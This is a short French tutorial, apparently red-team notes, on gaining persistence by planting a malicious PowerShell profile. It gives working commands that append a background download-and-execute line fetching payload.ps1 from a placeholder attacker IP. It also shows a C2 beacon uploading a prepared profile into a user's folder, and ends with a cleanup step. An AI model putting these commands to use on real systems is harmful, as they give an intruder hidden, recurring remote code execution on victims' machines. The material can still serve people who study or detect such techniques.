Un profil PowerShell (`profile.ps1`) est un script qui s'exécute au démarrage de chaque nouvelle session PowerShell. Les administrateurs et développeurs les utilisent légitimement pour personnaliser leur environnement (alias, fonctions, etc.). Un attaquant peut créer ou modifier ce fichier pour y exécuter son propre code. Les emplacements des profils peuvent être trouvés via la variable `$PROFILE` dans PowerShell : - **Pour l'utilisateur courant, hôte actuel :** `$PROFILE.CurrentUserCurrentHost` (ou `$PROFILE`) - **Pour tous les utilisateurs, hôte actuel :** `$PROFILE.AllUsersCurrentHost` ### Implémentation Si le répertoire ou le fichier de profil n'existe pas, il suffit de les créer. ``` # 1. Vérifier si le fichier de profil existe Test-Path $PROFILE # 2. Si le répertoire parent n'existe pas, le créer if (-not (Test-Path (Split-Path $PROFILE))) { New-Item -Type Directory -Path (Split-Path $PROFILE) -Force } # 3. Créer le contenu du payload. # Note importante : Le code ne doit pas être bloquant, sinon la console PowerShell de l'utilisateur ne s'ouvrira jamais. # On utilise Start-Job pour lancer le payload en tâche de fond. $Payload = 'Start-Job -ScriptBlock { iex(New-Object Net.WebClient).DownloadString("http://<IP_ATTAQUANT>/payload.ps1") }' # 4. Ajouter le payload au fichier de profil Add-Content -Path $PROFILE -Value $Payload ``` **Exemple avec un C2 :** ``` // Créer le répertoire s'il n'existe pas beacon> mkdir C:\Users\pchilds\Documents\WindowsPowerShell // Se positionner dans le répertoire beacon> cd C:\Users\pchilds\Documents\WindowsPowerShell // Téléverser le fichier profile.ps1 préparé par l'attaquant beacon> upload C:\Payloads\Profile.ps1 ``` ### Nettoyage ``` # Supprimer le fichier de profil Remove-Item -Path $PROFILE -Force ```